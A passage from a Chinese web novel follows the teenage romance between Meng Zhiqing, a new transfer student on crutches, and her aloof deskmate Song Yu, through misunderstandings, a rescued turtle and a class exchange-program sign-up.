孟知卿跟宋七都对体育不感兴趣,选了最清闲的跆拳道课。
脱了鞋去跆拳道馆里象征性动两下,便一个一个偷溜回班。
孟知卿打着石膏没去跆拳道馆,宋七听说她找自己有事,早早溜了回来。
“是不是是不是是不是。”一脸兴奋。
班级里空空荡荡,只有空调出风和窗外的蝉鸣算作声响。
孟知卿:“……”
“怎么一说有事就觉得是这事啊。”
“不然还能是什么,”宋七一张脸热得通红,扯两张纸边擦汗边拖宋许凳子反坐下,“你这么简单用眼睛就看透了?”
孟知卿:“……”
“你知道宋聿说再了解一个星期的事吗。”她“不计前嫌”地问。
宋七:“知道,”
嫌宋许书包碍事给拎到桌上,转过身时又改口,“啊不知道,什么了解一个星期。”
孟知卿:“……”
就知道她竖着耳朵听。
“了解一个星期什么?”她一边装傻一边擦汗,“你跟他告白,他说太快了,要再了解一个星期吗。”
“不是。”孟知卿难得坚定,“我没跟他告白,是他自己误会了,”
看向她,认认真真,“告白喜欢的话我一句都没说,我始终觉得人不可能在短短一天时间里喜欢上另一个人,你看我也不像那种看到一个人就动心思,动念头的人啊,”
“如果我是这种人,那我从前在国际高中,国际高中里可全是少爷,大少爷,个个矜贵会打扮,站出来都是明星像,我岂不个个都爱一遍?”
“所以,我不是那种肤浅的人,长得帅学习好,对一个人来说也只是加分项,不是选择依据。”
“况且,宋聿的性格也不像我会喜欢的类型。”
“什么性格,”宋七擦汗的手停了,静在那似乎有点不太明白,“你觉得他是什么性格?”
孟知卿,一时间不知道说什么。
“就,不像表面那样温驯柔软,应该是个有个性,”
“不,”宋七难得反驳她,“聿哥就是个温驯柔软的人。”
孟知卿:“?”
她怎么没感觉出来?
“五岁时候院长副院长常年在外不回,聿哥最大就知道照顾弟弟妹妹们,我跟宋许只比他小一两个月,一两个月而已,我们都不知道,”
“五岁,还没半人高呢就帮小朋友穿衣服,换尿不湿,带上厕所,哄睡觉,你说他没国际高中那群少爷有钱我能接受,说不温柔不善良我不接受。”
“况且他也不在乎金钱名利,金钱对他来说只是减轻院里压力,包括他刚成年就去罗森兼职,如果在乎,他早跟船商走了,不会留在这,也不会跟你做同桌,”
“而且,”宋七打量两眼孟知卿,“我觉得你也不在乎钱多钱少,并且肯定看得出我聿哥非池中之物。”
孟知卿:“……”
这都什么跟什么,跟有钱没钱有什么关系。
“嗯……”
思量了好一会她还是觉得她并没有说明白宋聿温驯柔软在哪,论证的都是他善良,早早明事理,有原则,有追求,十佳少年。
这些她都知道也非常认可。
只是。
抿起唇突然有点忘了开启聊天的初衷,不过想说明自己并没有跟宋聿告白,希望宋七以后不要把排清他们之间障碍当做一个事摆在心里,时时刻刻想着要做。
会给她造成心理压力。
她害怕麻烦别人,非常非常害怕。
因为曾经因为麻烦别人耽误了别人时间却没有把事做成挨过骂,也挨过鞭子。
“宋七,”她拉回神牵宋七的手,忽觉窗外有一道人影恍过。
望出去却像是一场幻觉,什么都没有。
“嗯?”宋七也只是一时抒发并没有生气的意思,一口气说完还在那喘。
“没事,”孟知卿拍拍她,“我也觉的宋聿很善良是你们院每个人的好哥哥,那我就祝他早日找到属于他自己的幸福,所得配他如今所付出。”
-
又一个晚自习之后的夜,宋聿送她回家。
带拐杖了不用人背,也不用人搀着。
两人之间的距离很远,宋聿在前面一米开外的地方,走走停停。
没背书包,他穿着校服任由晚风吹拂,闷热卷起远处人烟将夜都稀薄。<
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p>“明天就是周五了,周五没有晚自习可以回家看电视了,一周过得好快啊,”
孟知卿撑着逼宋桥山找不回来也得找,最终问了两天从高一三班班主任办公室领回来的拐杖一刻不停跟着向前。
拐杖是宋桥山带着下楼跟隔壁班人笑闹被隔壁班人抢去,隔壁班人又跟高二学弟笑闹,高二学弟再跟高一学弟笑闹,最后老师看不下去收走的。
宋聿对孟知卿寸步不离的照顾却是孟知卿自己作没的。
体育课时候那些话宋聿听到了,一字不落地全听到了,甚至都不装一下。
在她们以“那就这样吧,好好学习天天向上”为结束语结束谈话时,他拎着一袋酸奶不紧不慢地走进来。
烈阳在窗外,少年的身型单薄。
“我在思考你崴脚能不能喝酸奶,你却祝我未来安好。”
停在座位边上,攒着眉,“我什么性格?”
孟知卿:“……”
虽然说话声音听起来有些湿漉,但问话的模样却丝毫没有落寞的意思。
像高傲冷淡的玫瑰永远学不会低头,刺是它的保护色,遇到不顺意也只会扎人。
“哥,”宋七慌慌忙忙站起来,“我知道你伤心但你先别伤心,相信自己的魅力,你再等等。”
孟知卿:“??”
虽然那句话把宋聿说动了没再追究,甚至帮忙戳开了酸奶。
孟知卿不想接的,可那时那刻不接宋聿会更湿漉,就接了。
味同嚼蜡,只喝了几口。
但再回忆那些话确实有点过于跑题了,原意只是想告知宋七不要过度关注,过度在意,反而更着重于挽尊,又当又立。
那晚分明她先行经不轨惹人误会,转眼却意思宋聿自恋过头误会,甚至不惜贬低他性格非自己喜欢来证明自己真的不喜欢。
任何人听了都不会高兴。
“我是没什么计划的,我一个人住,妈妈也忙,大概就看看电视玩玩手机了,”
孟知卿坚持自言自语,迎着风自我开朗。
“对了,你是不是还要去罗森兼职?”突然想到什么,加快步子跟过去,“听宋七说你已经成年了,你怎么已经成年了,你,”
“孟知卿,”
宋聿忽然停住,皂角香钻进肺里将心都裹软了,“又开始撩了?”
孟知卿:“?”
攥紧的手松开。
“撩什么。”
“不是说不喜欢我的性格,跟宋七聊天还留意我做什么,”
垂着睫神色冷然,“嘴上说着不喜欢,做派上还吊着?”
孟知卿:“??”
“什么吊着,什么叫吊着,”
往后退一步拉开距离,“现在只是单纯的道歉,没有别的意思。”
宋聿沉默。
孟知卿“歇斯底里”,“我也不知道我的什么行为让你认为我在吊着你,但我自始至终都觉得我们之间没有必然联系,包括你的那些太快了,感性理性的理论我到现在都一知半解,可以说全是你自娱自乐,自导自演,我一点都不理解,”
撇清干系然后,“唯一要,”
“所以你承认你撩完就跑?”宋聿忽然打断。
孟知卿:“啊?”
话题就这么轻易被牵走,“没撩啊。”
“啊,”宋聿一副恍然,“那是我自己沦陷了。”
压近,捏住她下颌将她脸抬起来,“那我先感性行么,”
“我喜欢。”
9. 偶遇
什么跟什么。
周末已经过去,周日下午补课,临出门前,孟知卿又想起那晚的话。
他先感性,他喜欢。
但他又说不要在上头的时候做决定,生气算不算上头。
还说感性做不得数,那那告白做不做数。
啊啊啊啊啊啊啊。
想一周末了,脑子都想冒烟了。
孟知卿狠狠带上门,杵拐杖下楼。
梧桐苑属于CBD周边中高端小区,物业管理比较好,坐电梯,出单元楼,出小区都需要刷卡,小区正中心的景观区里甚至还集了个泳池一样的池子。
水很浅,四周贴着浅蓝色方块瓷砖,每晚回家都能瞧见几个小小朋友在里头拍水玩,还放养了两只小乌龟。
孟知卿往里头瞥一眼,一个小男孩正拿塑料挖沙铲子拍乌龟脑袋,不让它探头。
“瘸子姐姐好。”小男孩见了她打声招呼,“瘸子姐姐坏,瘸子姐姐长得像个丑八怪。”
孟知卿:“……”
她昨晚一定是闲得没事才有电视不看,有手机不玩,说要下楼冷静冷静。
路灯下几个小朋友围着乌龟玩,她就去瞄了一眼,“龟兔赛跑谁跑得快。”
脑子瓦特了问出这么一句,觉得对小朋友来说相当难的考题。
很明显那几个小朋友一脸看傻子地看了看她,然后带着乌龟离远了。
“……”
“我认识奥特曼。”
她想起网上专治小屁孩的帖子,“赛罗跟我是朋友。”
几个小男孩当即抬了头,“那你认识盖伦吗。”
“盖伦?盖伦奥特曼,我也认识。”
那几个笑了起来,指着她的脚,“那你脚是怪兽咬的吗,盖伦怎么不去救你。”
孟知卿:“……”
什么跟什么。
觉得没意思就走远了,再绕回来却听他们,“根本就没有盖伦奥特曼,还吹牛说认识塞罗,她那脚肯定是说谎被雷劈的。”
“……”
然后就被他们编了一首儿歌,一直念叨一直念叨,直到她受不了又插不上话,捂着耳朵上楼才算完。
“没,”礼貌。
“一小来的吧,”一道男声打断她,“乔老师在检查作业,你写完了?”
是宋聿。
穿着简单的灰黑色T恤,同色系运动裤。
“骗人,”小男孩站起来,“乔老师从来不星期天检查作业。”
下头的乌龟仿佛感受到有人在救自己,伸了爪就往前爬。
小男孩余光瞥到了,又用铲子勾回来,“乔老师就不会星期天检查作业,骗子。”
“我跟他认识,让他查了,”宋聿走近,一抬脚跳进池子里,水花四溅,“呀你衣服湿了,”
捡起乌龟边离开边道,“回家不回被妈妈揍吧。”
小男孩脸气红了,“还给我!那是我的乌龟!”
“怎么证明,”宋聿把乌龟放到手心,还没他半个巴掌大,“叫你妈过来证明一下。”
小男孩:“……”
如果他妈妈给养,就不会放到小区池子里,既然不给养,自然也不给玩,更不会证明。
“就是我的,还给我,”他冲过来,伸手就抢。
一不小心碰了孟知卿,孟知卿直接放拐杖往地上一坐,“哎呀你撞到我了,好疼啊,好疼啊。”
说着埋起脑袋假哭,呜呜呜地还时不时揉两下眼睛。
“就是我的乌龟,你们这么大还抢小孩东西,”
小男孩哪见过这场面,吓得连铲子都来不及捡,“不要脸,”
边跑边喊,“等我下次找我朋友,你们等着,你们完了。”
宋聿直接笑出一声。
也不知道笑小男孩的话,还是笑地上假哭的孟知卿。
他没说话,烈阳与蝉鸣,地上滚烫他好半晌都没说话。
孟知卿怪异地抬起头,正对上他冷淡无波无澜的视线。
还是没说话,甚至没有要拉她起来的意思。
“……”
孟知卿自己爬起来。边爬边瞥隔壁的人在想他会不会觉得自己姿势太丑。
但不丑又确实爬不起来,丑就丑吧。
她先翻过身扒到地上,再撅着屁股撑胳膊起身,捡拐杖,拍屁股,前几天做什么事都刻意到不能再刻意拿捏的高贵感在此荡然无存。
“你怎么在这。”
她冷冷问。
“需要跟您报备。”
宋聿冷冷答。
孟知卿:“……”
“那倒没必要,”再拍两下屁股,将衬衫也扯平,“才十二点就去上课了?”
“你不也是。”
小乌龟在他掌心爬啊爬怎么也爬不出去,孟知卿:“……”
说话一定要这么刺。
“准备怎么处理。”指指他掌心。
“你觉得?”
孟知卿:“……总不能扔了吧。”
“嗯。”
“……”
“……”
“……那我养吧。”
这人恐怕就等她这句,话音才落就把手递了过来。
“……”
“那我现在还得上楼。”有点为难,她刚下来,还准备去便利店,啊不,如果宋聿在兼职的话就是去菜市场买点东西,凑顿午饭。
“那什么意思,”宋聿盯着她,“是要我送上去?”
她有这个意思?
“行啊,送。”
孟知卿:“?”
一路破天荒地被搀着,孟知卿左右脚都不知道该先迈哪个。
“我一个人住,家里没人,”上了电梯她刷卡摁亮顶层,“原先房东也没装修什么,可能会有点简陋。”
“嗯。”
宋聿靠在电梯拐角,整个人显得硕长。
少年漫不经心确实让人挪不开眼。
“到了,不用换鞋,”电梯门一开就是外玄关,放了个扩散香,清冽的柑橘味道。
“进来吧。”
孟知卿开门示意他,里头是简约的两房一厅一卫。
其实不算简陋,就是装修简洁然后又有一些年头了而已。
“养在哪。”宋聿并没有多打量,停在门口问,好像上来就只是送乌龟,并无其他。
“先放卫生间吧。”孟知卿却不能以反正来了立刻就走的道理对待他,被妈妈一而再再而三教育了,来了客人要倒茶,哪怕人只停留一秒钟,你杯子都没拿好就走了,也得有这个意思。
是最基本的礼貌。
“喝雪碧还是可乐。”
她上星期在罗森买的饮料还没喝,直接从冰箱拿出来,也省得找杯子了。
“可乐吧,我喝雪碧。”
她喜欢喝雪碧,并且刚刚顶着太阳晒,这会儿也觉得有些口干舌燥。
“孟知卿,”
宋聿不知道什么时候到了她身后,无声无息,“卫生间是不是该收拾一下。”
孟知卿:“嗯?”
将可乐递过去,掠过他半红的耳尖往卫生间去。
“啊,我,”两条内衣一次性泡在洗手池
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,泡发了鼓出一个包。
“这不是,那,不是,我,”干脆关上卫生间门,“没来得及洗,现在洗。”
放弃挣扎,省得又被人说不真实,一个星期期限未至,总该有始有终。
烧着脸搓完出来,宋聿正坐在客厅的沙发上,一手捏着可乐罐时不时喝一口,喝了一口又不咽,鼓在嘴里戳小乌龟的乌龟壳。
“咳,”
孟知卿咳嗽一声,把内衣背到身后,“你随意啊,我,我先,”
也没说出个所以然来,不过好在宋聿只抬眼瞧了她一下就再没抬头。
大概半分多钟她才挪到阳台,而后就听宋聿,“乌龟养哪。”
很急的样子,仿佛安置了立刻要走。
“就先放卫生间地上吧,”孟知卿凉完内衣进来,“地方大它乐意爬,关上门不让它出来就行。”
宋聿没应,但捏着乌龟去了。
“所以你为什么会出现在这?”
孟知卿还是没忍住问了,CBD福利院在学校拐弯那头,他如果兼职就应该在罗森,不兼职也不会在这。
“跟踪你。”
宋聿关了门随口应一句。
孟知卿:“?”
“你,怎么可能,”想说你有这种癖好,但怎么都不可能。
“是啊,怎么可能。”
宋聿出来时顺便抽了两张纸,此刻不紧不慢地一根指弯一根指弯地擦,边擦边看向她,“有事呗。”
孟知卿:“……”
讲句实在话,这人开学那几天对她热得恨不得把心都掏出来,又是“我是你的了”“我现在只在乎她”什么“我们给彼此一星期时间,不多,就一星期,再了解了解”。
现在变得问一句答半句,剩下半句只当没听见,要么不回,要么回个冻死人的眼神,真的非常不习惯。
“对不起。”
她觉得她该说这句对不起,并且早就该说了。
“是我没控制住感性给你造成了误会,误会产生也不及时解释,看着你一步步踩进坑反而旁观看戏,最后却同旁人说开始就是误会,背地里下你面子。”
这么一说来,她简直不是人。
她怎么能这样,为什么知道是误会却不解释,为什么不解释。
“因为你也期待,”
宋聿开口,将纸揉成一团丢进一旁的垃圾桶,“你也想知道我还能说出什么骇人听闻的话,你想看热闹。”
“不是。”
孟知卿看着越来越近的他,“绝对不是。”
她绝对没有看热闹的意思,甚至认同期待的观点,她也沉浸其中。
“我是什么性格,”
走近了,宋聿停住,虽然神色依旧冷淡,但还是伸手拨开斜在她脸上的发丝,“具体说说。”
“啊,”孟知卿胸口又软了,每回他靠近她心都要软上一回,顺带着浑身发软,眼球灼热。
“……不知道。”
根本想不起来该怎么形容,甚至这一刻,在他动作轻轻柔柔的时候,觉得他就是个温驯柔软的人。
“那你喜欢什么性格。”宋聿又问。
孟知卿看着他,很近很近,连他眼尾的褐色斑纹都看得清清楚楚,像一道不成形状的闪电,直往人心里戳。
“也不知道。”她不知道自己喜欢什么样的性格,什么样的性格她应该喜欢,她大概会遵从内心,心说喜欢就喜欢,心说心动就心动。
“不要用这种眼神看着我,孟知卿,”
宋聿忽然捏她下颌静静瞧着,“你是我会喜欢的性格。”
10. 难受
空气仿佛于这一刻凝滞了。
孟知卿,沉默,望着他,从左眼到右眼,再从右眼到左眼。
她不想再像前天晚上那样不明不白地红着脸躲开,回到家之后又整晚整晚睡不着,一遍又一遍在脑中循环播放那个场景,一遍又一遍问自己,他是喜欢呢,还是不喜欢呢,到底是不是喜欢呢。
这次她想确定。
宋聿的眼圈有点红,柔软的黑发拉拢下来,半遮半掩住微微拧起的眉心。
那眉心极其复杂,有情难自抑的冲动,又有事与愿违的悲伤,让人想要怜爱,想要踮起脚尖,帮他抚摸平整。
“孟知卿,”
宋聿捏她下颌的手收紧,盯住她将近的指尖,“我这么好勾引么,”
声色冷然,“招之即来挥之即去,当狗逗呢。”
-
怎么可能!
怎么可能把人当狗!
怎么可能把他当狗!
孟知卿解释得没他离开得快,一句“绝没有”才说出口,人已经捏了茶几上的可乐顺手丢进垃圾桶,仿佛他不丢,她就会用他喝过的罐子做些什么。
能做什么,难不成她一边想象算不算间接接吻,一边把剩下的几滴舔干净吗。
变态啊。
要走就走,她也不是很想搭理他了,累了,不伺候了。
所以,直到周日补课的第一节课上完,她都没有正眼瞧一下隔壁的人,有题没听懂问宋桥山都不问他,宋桥山支吾半天答不上来,她就问宋许,宋许跟宋七常年一个全校第二,一个全校第三地咬着,谁都能教她。
“就这样。”
宋许讲完把习题册递还,孟知卿接过,“这么简单。”
“对啊,”
宋许收拾东西也准备出去晃悠两圈,宋七刚下课就出去了,不然孟知卿肯定不会问他,怎么也得问宋七。
“不过这题我哥也这么解的,他教你没听懂吗。”
“没问他。”
孟知卿找个修正带一边挑挑拣拣地修改,一边平淡回话。说平淡其实已经忽略情绪了,她的情绪明显不对。
宋许见此顿在那,瞥瞥他哥。
“宋桥山,”孟知卿修完答案喊人,宋桥山正在后头玩她的拐杖,戳戳这个,捅捅那个,犯嫌地笑。
“拐杖还我,去厕所。”
“去厕所让我哥扶你,”宋桥山正戳教室那头最后一排的乔明风戳得起劲,“要拐杖干什么,嘿,抓不到吧抓不到。”
“你再来,”
乔明风被戳烦了直接起身摁人,几招将宋桥山摁到后头的墙边柜,抢过拐杖,“给,”
穿越整间教室递给孟知卿,“需不需要我扶你去,宋聿看起来很忙。”
“哪里忙,”
破天荒地,宋聿接话不留一点空档,半偏头,视线不过去,压迫感先过去。
乔明风:“……”
孟知卿:“……”
剩下两个姓宋的都感觉出他哥情绪不对。
“回座位,说个事。”
宋聿冷着一张脸起身,比乔明风高,捡起桌上资料径直上台,路过人时刻意睨他一眼,意思搁下拐杖,回座位。
乔明风:“……”
宋桥山那人平时虽然犯嫌了点,到正事上却相当靠谱,立刻开了窗喊:“回班回班,聿哥有事要说。”
不出一分钟班里人几乎到齐,蝉鸣热烈,少年站在讲台,灰黑色的T恤却像比纯白还要耀眼。
“英国交流生的事大家听说没有,”
孟知卿转学过来也有一个星期了,宋聿学习好,教养举止各方面都属于全校人的榜样,却偏不愿担起榜样的职责。
说浪费精力,他更多的精力要花在福利院的小小朋友们身上,白天在学校必须写完作业,刷过题,晚上回去要哄小的睡觉,给初中的答疑。
自从担了送孟知卿的活,其实也轻松了不少。
毕竟是宋桥山惹的祸,他不送人,就只能包揽宋聿原先的事,而他个大老粗又必然做不了,只能交给宋许跟宋七。
他两每晚吵吵闹闹也能把事完成,等宋聿回去,院里已经夜深人静,他也可以再做两道题,在学校就没那么赶了。
因此,老葛趁此机会给他派发任务。
“周五跟一中友好交流的英国学校要来二十三个高中生,”
垂眼瞧向手上的资料,“学校要求每班选举五个英语好的同学做为班级代表,参加招待会,一起上堂公开课,做几个小游戏,互通文化,友好交流,弘扬中国传统文化的同时,宣扬祖国发展,正能量基调,”
抬起眼,“有人想去么。”
整个人淡然,寡然,照着稿子念完又恢复他原本的说话语调,不冷不热,声音也不大不小,刚好够所有人安安静静地听到。
下面没人应话,只有几个小声跟同桌交流,挺耽误时间的,而且英语也没那么好。
他的视线便随声音不紧不慢挪到这,再不紧不慢挪到那,全班都挪遍了,就是没落到孟知卿那。
孟知卿捏拐杖的手攥紧。
她英语还不错,妈妈有意未来送她出国留学,从小就对她双语教学,家里一个保姆是英国硕士,一个是英国阿姨,平时都用英语交流。
可以说英语是她第二母语。
“我。”
文艺委比她先举了手,“你会去吗。”
举了手又问。
“你觉得?”
宋聿不等人考虑直接记名,“还有么。”
继续挪眼。
是一点不怯场,分明很少站在那样被人聚焦,显眼的地方,一站,却有领导人莅临,视察全场的感觉。
也是,他一头柔软的发往哪一站,都是人群的聚焦点,他站的地方就是高台,不用特地找什么所谓的高台,任何人就已经在他脚下。
“我我,”宋桥山举手了,“听说有金发碧眼大美女,我去我去。”
宋聿斜他一眼,“abandon下一个单词记住了么,丢人丢到国外。”
压根儿没打算理。
宋桥山:“……”
下面同学听笑了,外头别班的同学在吵闹,盛夏在喧嚷,孟知卿,“我。”
软声在嘈杂里显得那样微不可闻,宋聿却听到了。
但还是没有看她,一眼都没看,“孟同学去,还差两个。”
公事公办地记下名字,不过这次记名比上回慢了几秒,仿佛多写了两个字。
“没有暂时这样,想去再找,”丢下这么一句从教室那头下台,刚好路过文艺委,从资料里抽出一张,“填一下。”
“怎么填。”
宋聿离开得快,文艺委问得更快,“推荐理由,价值观,国际观,友好交流的意义?”
表格里估计蛮繁琐,她问着愈发觉得繁琐,“写这些干什么。”
“可以不写,”宋聿停在那居高望下去,“班级姓名填了
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,价值观,国际观象征性填点儿,交流意义着重写一下。”
“你写了吗,”文艺委员顺着探头看他手上的资料,“写完借我抄一份呗。”
“那就不写,”宋聿抬脚就走,“班级姓名然后给我。”
绕过班级后面,又被乔明风要去一张,宋桥山在他过来时扒拉着看,看到他坐下才收回脑袋。
孟知卿一手还捏着拐杖中间的空档,视线始终追随着他,直到熟悉的皂角香落入鼻尖,胸口软了一下。
人不在时显得隔壁空空荡荡的,人一回来,却像把浑身空缺都填满了。
“我,”
“你还去厕所吗。”宋桥山问,指指她拐杖,意思摆这碍不碍事。
“去,”孟知卿把拐杖往后收点,继续问所以表格是不是只填班级姓名就可以,还没出口,宋聿将她的那张挪到她桌上,抬脚就出门,一个眼神都没分过来,一个都没有。
啊啊啊啊啊啊啊。
孟知卿难受得要命。
-
“所以宋聿最近怎么了,话也不说,冷得跟个冰碴子似的。”
晚饭照常是宋桥山打包带上来,两人从开始的分开各坐各的位置吃,到了现在颇具一些仪式感,孟知卿坐自己的位置,宋桥山坐宋聿的位置,等待整点吉时,开盖吃饭。
祈祷不要太咸。
“不知道啊,没感觉怎么,跟平时一样,”
宋桥山一口扒孟知卿十口,塞得满满当当,嚼得也快,“你们闹矛盾了吗,他不理你?”
“没有啊,”孟知卿夹一筷子芹菜小心翼翼搁进嘴里,啊,芹菜豆干一定是用盐炒的,她在学校吃一个星期,活活瘦了两斤。
挠挠鼻子问,“不过他会不理人吗,如果有人得罪他的话。”
“不,”
“就非常得罪,把他得罪透了的那种,”
宋桥山都准备回答了,她掏出一张纸擦嘴,“就,比如一个人做了让他误会的事,也知道他误会了却不告诉他,当狗一样一直逗着,然后一下揭白,”
停顿,“他就会不理人了吗。”
宋桥山手和嘴都止住,侧着头,望着她,奇怪,“谁能把我聿哥当狗逗?”
“即便误会也是他自己要误会的吧,你当他那么傻,”
“其次,我聿哥属于热性子,有矛盾肯定想着解决,不然他也难受,他忍不了的。”
孟知卿没在意后面半句,心思全落在前半句。
跟宋七先前说的“这哪里是劝人,是劝他自己吧”仿佛有异曲同工之妙。
她就觉得宋聿不像表面那么简单,内里心思弯弯绕绕说不定就在扮猪吃老虎,现在不理她就是为了让她难受,知道她最受不了近处人冷待,尤其他宋聿。
前两天热得像火,一下丢进冰窖。
其次。
她也豁然开朗了。
每个人对他的评价都很高,大家都觉得他是好人,善良,负责,好说话,偏她不觉得。
这两者一点都不冲突。
因为他们那些只是同学,朋友,亲人,处于来来往往维系的关系,频繁交流便能维持一二,没有更深层次,更触及灵魂深处的拉扯,撕扯,起起伏伏,来来回回,同她跟宋聿不一样。
完全不一样。
“烦死了,”
她突然抱怨一句。
又铆足了力气将擦过嘴的纸狠狠揉成一团,丢到桌上,“对情人就不能一视同仁吗。”
11. 剖析
“什么情人,谁有情人,谁是谁情人。”
宋桥山三连问,最后一问几粒米径直落进孟知卿饭盒。
孟知卿:“……”
宋桥山:“……”
“……”
“……”
“没事,”反正也食不下咽,干脆推过去,“你吃吧,别浪费了。”
“不太好吧,”宋桥山怪不好意思,“又蹭你饭。”
下一秒,三两筷夹走盒子里的肉,还特讲究地留着她吃过的不动。
“……”
没事,谁会跟他计较。
或者,孟知卿本身就挺大度,不太会跟人计较。
也就遇着的那同桌蛮小气。
小气到,学委说明天摸底考试,布置考场时顺便把座位挪了。
乾坤大挪移,靠里墙的两列靠到外墙,靠外墙的到中间。
座位号都贴好了,人还没回来。一个晚饭直接把人吃丢了。
大概率又被老葛拉去整理什么资料,孟知卿这时候才彻底明白他为什么不肯当班委,完全不是装,纯嫌烦。
“孟,知,卿,”
隔壁乔明风斜着身子支着腿,“对吧?”
一字一句念人名,念一个字思考那个字应该是哪个字。
孟知卿正临时抱佛脚,为了让一轮复习中期摸底显得不那么无底可摸,翻起两年没碰过的物理书,背公式。
一道加速度公式硬生生看了小二十分钟。
“昂。”闻言没空搭理人,往门口瞥一眼,并没有熟悉的身影。
“找谁?”
乔明风也不傻,看出她有心事,挪位置后又成了她右同桌,单人独坐的原因,挨她特别近,一伸腿就能勾着她凳子。
他也确实这么做了。
孟知卿:“?”
“临时抱佛脚有用吗,”笑眯眯的,有如做错事怕挨揍的猫,“晚自习再看呗,现在聊会儿?”
孟知卿:“……”
“聊什么,”不冷不热地把凳子挪回去,意思跟你好像不太熟,没什么可聊的吧。
“你脚怎么受得伤?”他问。
孟知卿:“崴的。”
也没穿袜子,脚指头也还露在外面,到了中间位置甚至四处无挡,什么都看得清楚。
却莫名不觉得有什么,也不紧张地缩脚趾了。
“不然还能被狗咬得吗。”翻过一页纸,继续心思飘忽地扫视。
乔明风笑了下,“肯定知道是崴的呀,我意思怎么崴的。”
他的长相属于小众帅哥的类型,第一眼看不会太惊艳,久了越看越帅,会觉得他眼睛鼻子耳朵五官全都恰到好处,变一点都不是那小帅的样。
“别人不小心撞的,”孟知卿莫名软下声音,讲句实话,她对帅哥有种天生的宽容,只要不实实在在惹了她,大部分时候都不会显得太不友好。
“你已经复习到位了?”主动问话,因为就她现在的状态,恐怕整节晚自习只能看个物理。
“差不多吧,摸底又不是一模,考不好拉倒。”
孟知卿听笑了,“照这么说一模又不是高考,考不好也无所谓,高考失利来年还能再考,问题也不大。”
“是这样啊,”乔明风一边转书一边说,“又没有什么能把人框定死的,想想你曾经觉得特别重要的事如果真没做成真的就彻底完蛋了吗,好像也没有吧,一次考试而已,人生没那么容易完蛋,”
说完又补上一句,“世事照样流淌,只有庸人会自扰。”
一副我是专家,我给你科普。
孟知卿就眯眼看着他摘录得满满当当,刚还一题一题过的错题本,看他能装出什么名堂。
“主要你看物理也没什么用,”感受到视线,他挑合本子,“考试就一天,只够考个语数英。”
孟知卿:“啊?”
“只考语数英?”
“是啊,我们两周一小考,一月一大考,摸底就是个小小考,下周还得这样,九月底还有。”
孟知卿:“……”
怎么没人告诉她,谁该负责告诉她这个事!
瞥一眼门口,某人还没回,干脆收了书往乔明风课桌张望,“那能借个英语资料吗,我的收进柜子了。”
“可以,”乔明风二话不说递她一本《五三》,“你,”
“让一下。”
一道冷声打断两人传递。
宋聿清冷身型垂立,等不了太久,再不让下一秒直接动手的样子。
“嗷,”
孟知卿接过《五三》搁到桌上,脚一收缩进桌腿下面,“你去哪了。”
宋聿视线只随她接过《五三》的手停在了桌子上,稍稍停了小半秒,便冷冷地挪往远处,回座位。
孟知卿跟着转到那边,“老葛找你有事吗。”
他落座,不用收拾什么,因为桌面本身就很干净,只需要挑出晚自习要用的,把剩下的搬进柜子。
捏着英语《五三》的手微微顿了下。
“啊我要,”孟知卿喊,转头把乔明风的还他,“他字有点潦草我看不懂。”
没等宋聿反应,径直倾身接过,“谢谢。”
乔明风:“……”
孟知卿却高高兴兴。
经过一个半小时的分别以及深刻思考,她已经彻底通了。
管宋聿怎么想,是不是又冷冷的不搭理自己了,她自己怎么想,想不想搭理宋聿才是最重要的。
既然受不了人对自己冷,就别等人改变,自己先改变,自己先对他热。
反正宋聿分寸又“温柔”,又不可能真一点没礼貌地不搭理她,她就贴过去,偏偏贴过去,热脸贴冷屁股,物理学都说能量传递,总能把冷屁股捂热。
因此。
晚自习最后一节课,没有作业又没有老师看管,嘈杂声比窗外的虫鸣还要入耳。
她撕一张纸传给宋聿。
【上次不是说一星期期限?一星期好像已经到了,我有一些想法】
宋聿扫完终于正眼看她,“说。”
依旧不冷不热。
没关系。
她把凳子往那边挪挪,刚准备开口发现宋桥山,宋七,甚至宋许都侧了脸来听,是乍闻他们聿哥的声音,特地竖个耳朵要知道怎么个事儿。
“……等下。”
转回身再撕一张纸,一笔一画写道:
【完全不快,了解一个人可以通过方方面面,其实一天就足够了,这几天我也从宋七,宋桥山的嘴里分别了解了你,两人对你的评价高度一致,说明你就是个简单明了,如我所想的那样,值得信赖,值得托付,不用再继续了解了】
宋聿扫完顿在那,半晌,不是非常确定地侧目望过来,拧着眉上下打量她,仿佛她被什么
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东西附身了,不是她。
完全没有,她就是想通了而,
下一秒,凳子被勾到后面,乔明风笑眯眯地指宋聿手上那张纸,“写那么长一段小作文,说什么呢。”
孟知卿:“……”
“跟,”
“借下修正带。”
没等她开口乔明风打断,又笑,又如做错事怕挨打的猫。
孟知卿:“……自己都拿得到,自己拿。”
挪回凳子确保他腿伸得再长也够不到。
转过头继续看宋聿,宋聿表情却莫名黑了一个度。
“知道了,晚上有事让宋七送你。”
说完把纸张对折再对折塞进书页,伏身刷题是要刷到天荒地老,天崩地裂乃至海枯石烂都不再抬头。
孟知卿:“……”
-
“真的好烦啊,为什么男生也这么难哄,”
月明星稀,弯月周边蒙了一层红紫色的云晕,明天大概有雨。
孟知卿撑着拐杖一边心不在焉地走,一边有口无心地抱怨,“你说宋聿他,”
他对情人就不能一视同仁,像对朋友一样宽容吗。
欲言又止,宋七追着望她,“聿哥他怎么了。”
“没事,就上回被他听到没跟他告白,是他自己误会的事,”
一拐仗压碎路边上的香樟树果,“还没完,说我把他当狗逗,故意让他误会是为了看他笑话。”
宋七约莫想笑,“所以你把他当狗逗了吗。”
“当然没有,怎么可能。”
“那你为什么不告诉他,看着他误会?”
孟知卿:“我,”
世人总是当局者迷旁观者清,她瞧瞧宋七,平时看着挺大大咧咧一人,抓起重点还真让人难以回答。
她自己也不甚清楚为什么一直不跟人解释,宋聿说再了解一个星期,靠近她说要真实的她时,她只觉得浑身发软,心像被什么东西挠了,痒痒的。
甚至有无数的冲动想要抱住宋聿脖子,将那一头柔软的发揉进□□里,每分每秒一抬眼就能看见他,看见他笑,看见他低眉问自己,“要什么,想什么,想做什么。”
她觉得她自己可能有点疯了。
“其实你也有点喜欢他的吧。”
宋七忽然说。敛了那微薄的笑意,格外认真。
孟知卿停住,已经过了两个红绿灯到了小吃街。
铁板鱿鱼“滋啦”升起白烟,酒瓶相撞,在缠人心肺的暮色里腾出麦芽香味的沫。
“不是吧,”
她也格外认真,“可能只是单纯的占有,你懂那种明明跟他没什么明确关系,但就是怕他同别的女生多说两句话,怕他冷冷的,一种落差,怕他有了自我意识,不再把我摆在心里相对重要的位置,或者,不再满心满眼都是我的感觉吗。”
宋七彻底笑了,“不懂。”
